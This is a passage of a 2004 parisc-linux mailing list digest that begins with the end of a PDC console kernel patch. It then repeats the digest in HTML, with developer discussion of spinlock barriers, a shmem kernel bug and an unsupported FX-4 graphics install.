@@ -113,10 +112,6 @@
 		return;
 	++pdc_console_initialized;
 	
-	/* If the console is duplex then copy the COUT parameters to
CIN. */
-	if (PAGE0->mem_cons.cl_class == CL_DUPLEX)
-		memcpy(&PAGE0->mem_kbd, &PAGE0->mem_cons,
sizeof(PAGE0->mem_cons));
-
 	/* register the pdc console */
 	register_console(&pdc_cons);
 }
==========><==========

Can somebody else could also test it on some other platform to be sure I
don't broken other stuff?

Thanks in advance,
    Joel

PS: Grant I join the text file of the final backport of 2.6 work
included
this patch. Thanks in advance for your attention

------------------------------------------------------------------------
-
Tiscali ADSL: 12 mois  29,50 EUR/mois! L'Internet rapide, c'est pour
tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr


-------------- next part --------------
A non-text attachment was scrubbed...
Name: pdc_console-bp+patch.diff
Type: application/octet-stream
Size: 23324 bytes
Desc: not available
Url :
http://lists.parisc-linux.org/pipermail/parisc-linux/attachments/2004012
6/67438867/pdc_console-bppatch.obj

------------------------------

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


End of parisc-linux Digest, Vol 2, Issue 32
*******************************************

------_=_NextPart_003_01C3E42E.16DEE200
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>parisc-linux Digest, Vol 2, Issue 32</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Send parisc-linux mailing list submissions to</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux@lists.parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>To subscribe or unsubscribe via the World Wide Web, =
visit</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2><A =
HREF=3D"http://lists.parisc-linux.org/mailman/listinfo/parisc-linux" =
TARGET=3D"_blank">http://lists.parisc-linux.org/mailman/listinfo/parisc-=
linux</A></FONT>
<BR><FONT SIZE=3D2>or, via email, send a message with subject or body =
'help' to</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux-request@lists.parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>You can reach the person managing the list at</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux-owner@lists.parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>When replying, please edit your Subject line so it is =
more specific</FONT>
<BR><FONT SIZE=3D2>than &quot;Re: Contents of parisc-linux =
digest...&quot;</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Today's Topics:</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; 1. Re: menu not available (Matthew =
Wilcox)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 2. Re: Re: [parisc-linux] missing =
barrier in _raw_spin_lock?</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (John David =
Anglin)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 3. Re: kernel BUG at mm/shmem.c:585! =
(Carlos O'Donell)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 4. Re: kernel BUG at mm/shmem.c:585! =
(John David Anglin)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 5. installation failed on C240 (fx4) =
workstation&nbsp; </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Reinhold Flecke =
CCF)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 6. help installation failed on C240 =
(fx4) workstation</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Reinhold Flecke =
CCF)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 7. Re: kernel BUG at mm/shmem.c:585! =
(Grant Grundler)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 8. Re: help installation failed on C240 =
(fx4) workstation</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (Grant =
Grundler)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; 9. A fix for B2k and CONFIG_PDC_CONSOLE =
pb (Joel Soete)</FONT>
</P>
<BR>

<P><FONT =
SIZE=3D2>---------------------------------------------------------------=
-------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 1</FONT>
<BR><FONT SIZE=3D2>Date: Sun, 25 Jan 2004 22:40:40 +0000</FONT>
<BR><FONT SIZE=3D2>From: Matthew Wilcox &lt;willy@debian.org&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] menu not =
available</FONT>
<BR><FONT SIZE=3D2>To: Grant Grundler =
&lt;grundler@parisc-linux.org&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: &quot;Peralta, Joseph A&quot; =
&lt;jperalta@WPI.EDU&gt;,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;20040125224040.GG11844@parcelfarce.linux.theplanet.co.uk&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; charset=3Dus-ascii</FONT>
</P>

<P><FONT SIZE=3D2>On Fri, Jan 23, 2004 at 03:11:49PM -0700, Grant =
Grundler wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; On Fri, Jan 23, 2004 at 04:47:11PM -0500, =
Peralta, Joseph A wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; When I try to install certain X-window =
managers under Debian 3.0 I get</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &quot;xxx depends on menu (&gt;&gt; =
1.5)... menu is not available&quot; How would I fix</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; this?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Dunno...menu is available for &quot;sarge&quot; =
(aka testing) and that</FONT>
<BR><FONT SIZE=3D2>&gt; works for me. Sounds like someone wants to =
backport to Woody.</FONT>
</P>

<P><FONT SIZE=3D2>menu is not available for woody because it's written =
in a language which</FONT>
<BR><FONT SIZE=3D2>bears a passing resemblance to C++.&nbsp; someone =
rewrote it in C++ for sarge.</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>&quot;Next the statesmen will invent cheap lies, =
putting the blame upon </FONT>
<BR><FONT SIZE=3D2>the nation that is attacked, and every man will be =
glad of those</FONT>
<BR><FONT SIZE=3D2>conscience-soothing falsities, and will diligently =
study them, and refuse</FONT>
<BR><FONT SIZE=3D2>to examine any refutations of them; and thus he will =
by and by convince </FONT>
<BR><FONT SIZE=3D2>himself that the war is just, and will thank God for =
the better sleep </FONT>
<BR><FONT SIZE=3D2>he enjoys after this process of grotesque =
self-deception.&quot; -- Mark Twain</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 2</FONT>
<BR><FONT SIZE=3D2>Date: Sun, 25 Jan 2004 19:13:47 -0500 (EST)</FONT>
<BR><FONT SIZE=3D2>From: &quot;John David Anglin&quot; =
&lt;dave@hiauly1.hia.nrc.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Re: [parisc-linux] missing barrier in =
_raw_spin_lock?</FONT>
<BR><FONT SIZE=3D2>To: arndb@onlinehome.de</FONT>
<BR><FONT SIZE=3D2>Cc: grundler@parisc-linux.org, arnd@arndb.de,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux@parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;200401260013.i0Q0Dltk013819@hiauly1.hia.nrc.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; charset=3DUS-ASCII</FONT>
</P>

<P><FONT SIZE=3D2>&gt; &gt; #define __ldcw(a) ({ \</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; unsigned int =
__ret;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; \</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; __asm__ =
__volatile__(&quot;ldcw =
0(%2),%0&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
\</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : &quot;=3Dr&quot; (__ret), =
&quot;=3Dm&quot; (*(a)) : &quot;r&quot; =
(a));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
\</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp; =
__ret;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; \</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; })</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I suppose the memory operand specification is =
required here. Newer </FONT>
<BR><FONT SIZE=3D2>&gt; compilers (especially gcc-3.4) can optimize =
away local variables if you </FONT>
<BR><FONT SIZE=3D2>&gt; only access the address but not the contents. I =
think even your </FONT>
<BR><FONT SIZE=3D2>&gt; pthreads version is not really correct, because =
it specifies (*(a)) as</FONT>
<BR><FONT SIZE=3D2>&gt; output only instead of inout.</FONT>
</P>

<P><FONT SIZE=3D2>I agree.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; No, putting the barrier into __ldcw is wrong =
because it would impact all</FONT>
<BR><FONT SIZE=3D2>&gt; other uses of __ldcw that don't need the =
barrier. AFAICS, the </FONT>
</P>

<P><FONT SIZE=3D2>The only other uses for __ldcw are the SPIN_LOCK =
macro in atomic.h</FONT>
<BR><FONT SIZE=3D2>and the _raw_spin_trylock in spinlock.h (i.e., it is =
only used</FONT>
<BR><FONT SIZE=3D2>acquire locks).&nbsp; If all these need barriers, =
then it might as well</FONT>
<BR><FONT SIZE=3D2>be in __ldcw.</FONT>
</P>

<P><FONT SIZE=3D2>Dave</FONT>
<BR><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>J. David =
Anglin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
dave.anglin@nrc-cnrc.gc.ca</FONT>
<BR><FONT SIZE=3D2>National Research Council of =
Canada&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; (613) 990-0752 (FAX: 952-6602)</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 3</FONT>
<BR><FONT SIZE=3D2>Date: Sun, 25 Jan 2004 21:15:09 -0500</FONT>
<BR><FONT SIZE=3D2>From: Carlos O'Donell =
&lt;carlos@baldric.uwo.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] kernel BUG at =
mm/shmem.c:585!</FONT>
<BR><FONT SIZE=3D2>To: John David Anglin =
&lt;dave@hiauly1.hia.nrc.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: grundler@parisc-linux.org, =
parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;20040126021508.GZ1060@baldric.uwo.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; charset=3Dus-ascii</FONT>
</P>

<P><FONT SIZE=3D2>On Fri, Jan 23, 2004 at 02:40:27PM -0500, John David =
Anglin wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; It appears non-fatal, and I want to blame =
the compiler :)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I agree but the proof is in the pudding =
;-)</FONT>
</P>

<P><FONT SIZE=3D2>I told Grant, that at my current schedule, it would =
be 2006 </FONT>
<BR><FONT SIZE=3D2>before I fixed this problem :)</FONT>
</P>

<P><FONT SIZE=3D2>It looks like a reordering issue, perhaps taking a =
look at the</FONT>
<BR><FONT SIZE=3D2>respective .o objects produced by the two compilers =
might reveal the</FONT>
<BR><FONT SIZE=3D2>issue. I think that's the way we did it when the tty =
layer broke and we</FONT>
<BR><FONT SIZE=3D2>had to have that console.o compiled with 3.0.4 by =
hand? I think Randolph</FONT>
<BR><FONT SIZE=3D2>and Grant worked on that together. I might have the =
wrong names, but</FONT>
<BR><FONT SIZE=3D2>we've successfully debugged a problem like this =
before using similar</FONT>
<BR><FONT SIZE=3D2>methods.</FONT>
</P>

<P><FONT SIZE=3D2>c.</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 4</FONT>
<BR><FONT SIZE=3D2>Date: Sun, 25 Jan 2004 21:35:07 -0500 (EST)</FONT>
<BR><FONT SIZE=3D2>From: &quot;John David Anglin&quot; =
&lt;dave@hiauly1.hia.nrc.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] kernel BUG at =
mm/shmem.c:585!</FONT>
<BR><FONT SIZE=3D2>To: carlos@baldric.uwo.ca (Carlos O'Donell)</FONT>
<BR><FONT SIZE=3D2>Cc: grundler@parisc-linux.org, =
parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;200401260235.i0Q2Z783024373@hiauly1.hia.nrc.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; charset=3DUS-ASCII</FONT>
</P>

<P><FONT SIZE=3D2>&gt; On Fri, Jan 23, 2004 at 02:40:27PM -0500, John =
David Anglin wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; It appears non-fatal, and I want to =
blame the compiler :)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I agree but the proof is in the pudding =
;-)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I told Grant, that at my current schedule, it =
would be 2006 </FONT>
<BR><FONT SIZE=3D2>&gt; before I fixed this problem :)</FONT>
</P>

<P><FONT SIZE=3D2>My schedule isn't much better.&nbsp; I'm off to Tokyo =
at the end of the week</FONT>
<BR><FONT SIZE=3D2>to waive the Canadian flag at the ISO LRG meetin =
next week.&nbsp; After that,</FONT>
<BR><FONT SIZE=3D2>my brother's company would like me to work on more =
firmware for a new</FONT>
<BR><FONT SIZE=3D2>project.</FONT>
</P>

<P><FONT SIZE=3D2>Is this on a SMP kernel (i.e., could this be a =
locking issue)?</FONT>
</P>

<P><FONT SIZE=3D2>Dave</FONT>
<BR><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>J. David =
Anglin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
dave.anglin@nrc-cnrc.gc.ca</FONT>
<BR><FONT SIZE=3D2>National Research Council of =
Canada&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; (613) 990-0752 (FAX: 952-6602)</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 5</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 11:54:13 +0100</FONT>
<BR><FONT SIZE=3D2>From: &quot;Reinhold Flecke CCF&quot; =
&lt;reinhold.flecke@ccf-consulting.de&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: [parisc-linux] installation failed on C240 =
(fx4) workstation</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR><FONT SIZE=3D2>To: =
&lt;parisc-linux@lists.parisc-linux.org&gt;</FONT>
<BR><FONT SIZE=3D2>Message-ID:</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&lt;LBEMKLBEFDGDOGGAOGIKAEJPCCAA.reinhold.flecke@ccf-consulting=
de&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; =
charset=3D&quot;iso-8859-1&quot;</FONT>
</P>

<P><FONT SIZE=3D2>I downloaded the =
&quot;debian-30r2-hppa-binary-1.iso&quot; and burned it to CD. </FONT>
<BR><FONT SIZE=3D2>If I start the installation on my C240 (fx4) =
workstation&nbsp; with the command:</FONT>
<BR><FONT SIZE=3D2>bo sescsi.2.0</FONT>
</P>

<P><FONT SIZE=3D2>it seems everything ok, until I get the =
message:</FONT>
<BR><FONT SIZE=3D2>...If this is the last message you see, you may need =
to switch your console.</FONT>
<BR><FONT SIZE=3D2>&nbsp; This is a common sympton sarch the FAQ and =
mailing list at</FONT>
<BR><FONT SIZE=3D2>parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>After this nothing happens anymore.</FONT>
<BR><FONT SIZE=3D2>I searched the FAQ and mailing list but I could not =
find a solution.</FONT>
<BR><FONT SIZE=3D2>Anyone who can help?</FONT>
</P>

<P><FONT SIZE=3D2>Thanks in advance.</FONT>
</P>

<P><FONT SIZE=3D2>Best Regards</FONT>
<BR><FONT SIZE=3D2>Reinhold Flecke</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Reinhold Flecke CCF</FONT>
<BR><FONT SIZE=3D2>Fon:&nbsp;&nbsp;&nbsp; +49 (0)5292 930601 =
(Office)</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>+49 =
(0)700 93000093 (PR)</FONT>
<BR><FONT SIZE=3D2>eMail:&nbsp; &lt;<A =
HREF=3D"mailto:Reinhold.Flecke@ccf-consulting.de">mailto:Reinhold.Flecke=
@ccf-consulting.de</A>&gt;</FONT>
</P>

<P><FONT SIZE=3D2>-------------- next part --------------</FONT>
<BR><FONT SIZE=3D2>A non-text attachment was scrubbed...</FONT>
<BR><FONT SIZE=3D2>Name: winmail.dat</FONT>
<BR><FONT SIZE=3D2>Type: application/ms-tnef</FONT>
<BR><FONT SIZE=3D2>Size: 2008 bytes</FONT>
<BR><FONT SIZE=3D2>Desc: not available</FONT>
<BR><FONT SIZE=3D2>Url : <A =
HREF=3D"http://lists.parisc-linux.org/pipermail/parisc-linux/attachments=
/20040126/13277935/winmail-0001.bin" =
TARGET=3D"_blank">http://lists.parisc-linux.org/pipermail/parisc-linux/a=
ttachments/20040126/13277935/winmail-0001.bin</A></FONT>
</P>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 6</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 12:13:22 +0100</FONT>
<BR><FONT SIZE=3D2>From: &quot;Reinhold Flecke CCF&quot; =
&lt;reinhold.flecke@ccf-consulting.de&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: [parisc-linux] help installation failed on =
C240 (fx4)</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>workstation</FONT>
<BR><FONT SIZE=3D2>To: =
&lt;parisc-linux@lists.parisc-linux.org&gt;</FONT>
<BR><FONT SIZE=3D2>Message-ID:</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&lt;LBEMKLBEFDGDOGGAOGIKOEJPCCAA.reinhold.flecke@ccf-consulting=
de&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; =
charset=3D&quot;iso-8859-1&quot;</FONT>
</P>

<P><FONT SIZE=3D2>I downloaded the =
&quot;debian-30r2-hppa-binary-1.iso&quot; and burned it to CD. </FONT>
<BR><FONT SIZE=3D2>If I start the installation on my C240 (fx4) =
workstation&nbsp; with the command:</FONT>
<BR><FONT SIZE=3D2>bo sescsi.2.0</FONT>
</P>

<P><FONT SIZE=3D2>it seems everything ok, until I get the =
message:</FONT>
<BR><FONT SIZE=3D2>...If this is the last message you see, you may need =
to switch your console.</FONT>
<BR><FONT SIZE=3D2>&nbsp; This is a common sympton sarch the FAQ and =
mailing list at</FONT>
<BR><FONT SIZE=3D2>parisc-linux.org</FONT>
</P>

<P><FONT SIZE=3D2>After this nothing happens anymore.</FONT>
<BR><FONT SIZE=3D2>I searched the FAQ and mailing list but I could not =
find a solution.</FONT>
<BR><FONT SIZE=3D2>Anyone who can help?</FONT>
</P>

<P><FONT SIZE=3D2>Thanks in advance.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Best Regards</FONT>
<BR><FONT SIZE=3D2>Reinhold Flecke</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Reinhold Flecke CCF</FONT>
<BR><FONT SIZE=3D2>Auf dem Anger 18</FONT>
<BR><FONT SIZE=3D2>33165 Lichtenau-Husen</FONT>
<BR><FONT SIZE=3D2>Fon:&nbsp;&nbsp;&nbsp; +49 (0)5292 930601 =
(Office)</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>+49 =
(0)700 93000093 (PR)</FONT>
<BR><FONT SIZE=3D2>eMail:&nbsp; &lt;<A =
HREF=3D"mailto:Reinhold.Flecke@ccf-consulting.de">mailto:Reinhold.Flecke=
@ccf-consulting.de</A>&gt;</FONT>
</P>

<P><FONT SIZE=3D2>-------------- next part --------------</FONT>
<BR><FONT SIZE=3D2>A non-text attachment was scrubbed...</FONT>
<BR><FONT SIZE=3D2>Name: winmail.dat</FONT>
<BR><FONT SIZE=3D2>Type: application/ms-tnef</FONT>
<BR><FONT SIZE=3D2>Size: 2056 bytes</FONT>
<BR><FONT SIZE=3D2>Desc: not available</FONT>
<BR><FONT SIZE=3D2>Url : <A =
HREF=3D"http://lists.parisc-linux.org/pipermail/parisc-linux/attachments=
/20040126/902d4aa3/winmail-0001.bin" =
TARGET=3D"_blank">http://lists.parisc-linux.org/pipermail/parisc-linux/a=
ttachments/20040126/902d4aa3/winmail-0001.bin</A></FONT>
</P>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 7</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 08:53:56 -0700</FONT>
<BR><FONT SIZE=3D2>From: Grant Grundler =
&lt;grundler@parisc-linux.org&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] kernel BUG at =
mm/shmem.c:585!</FONT>
<BR><FONT SIZE=3D2>To: John David Anglin =
&lt;dave@hiauly1.hia.nrc.ca&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: Carlos O'Donell =
&lt;carlos@baldric.uwo.ca&gt;,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;20040126155356.GA12175@colo.lackof.org&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; charset=3Dus-ascii</FONT>
</P>

<P><FONT SIZE=3D2>On Sun, Jan 25, 2004 at 09:35:07PM -0500, John David =
Anglin wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; Is this on a SMP kernel (i.e., could this be a =
locking issue)?</FONT>
</P>

<P><FONT SIZE=3D2>no. I don't build or run SMP kernels on anything at =
the moment.</FONT>
</P>

<P><FONT SIZE=3D2>thanks,</FONT>
<BR><FONT SIZE=3D2>grant</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 8</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 09:13:16 -0700</FONT>
<BR><FONT SIZE=3D2>From: Grant Grundler =
&lt;grundler@parisc-linux.org&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [parisc-linux] help installation failed =
on C240 (fx4)</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>workstation</FONT>
<BR><FONT SIZE=3D2>To: Reinhold Flecke CCF =
&lt;reinhold.flecke@ccf-consulting.de&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;20040126161316.GC12175@colo.lackof.org&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; charset=3Dus-ascii</FONT>
</P>

<P><FONT SIZE=3D2>On Mon, Jan 26, 2004 at 12:13:22PM +0100, Reinhold =
Flecke CCF wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; I downloaded the =
&quot;debian-30r2-hppa-binary-1.iso&quot; and burned it to CD. </FONT>
<BR><FONT SIZE=3D2>&gt; If I start the installation on my C240 (fx4) =
workstation&nbsp; with the command:</FONT>
<BR><FONT SIZE=3D2>&gt; bo sescsi.2.0</FONT>
</P>

<P><FONT SIZE=3D2>FX-4 graphics is not supported.</FONT>
<BR><FONT SIZE=3D2>Either use serial console or replace the FX4 with =
PCI FX-E.</FONT>
</P>

<P><FONT SIZE=3D2>sorry,</FONT>
<BR><FONT SIZE=3D2>grant</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>------------------------------</FONT>
</P>

<P><FONT SIZE=3D2>Message: 9</FONT>
<BR><FONT SIZE=3D2>Date: Mon, 26 Jan 2004 18:00:53 +0100</FONT>
<BR><FONT SIZE=3D2>From: &quot;Joel Soete&quot; =
&lt;soete.joel@tiscali.be&gt;</FONT>
<BR><FONT SIZE=3D2>Subject: [parisc-linux] A fix for B2k and =
CONFIG_PDC_CONSOLE pb</FONT>
<BR><FONT SIZE=3D2>To: &quot;Grant Grundler&quot; =
&lt;grundler@parisc-linux.org&gt;,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&quot;Christoph Plattner&quot;</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT =
SIZE=3D2>&lt;christoph.plattner@gmx.at&gt;</FONT>
<BR><FONT SIZE=3D2>Cc: parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>Message-ID: =
&lt;400CB8A100004C60@ocpmta3.freegates.net&gt;</FONT>
<BR><FONT SIZE=3D2>Content-Type: text/plain; =
charset=3D&quot;iso-8859-1&quot;</FONT>
</P>

<P><FONT SIZE=3D2>Hi Grant, Christoph,</FONT>
</P>

<P><FONT SIZE=3D2>I find a fix for this pb. I tested successfully (I =
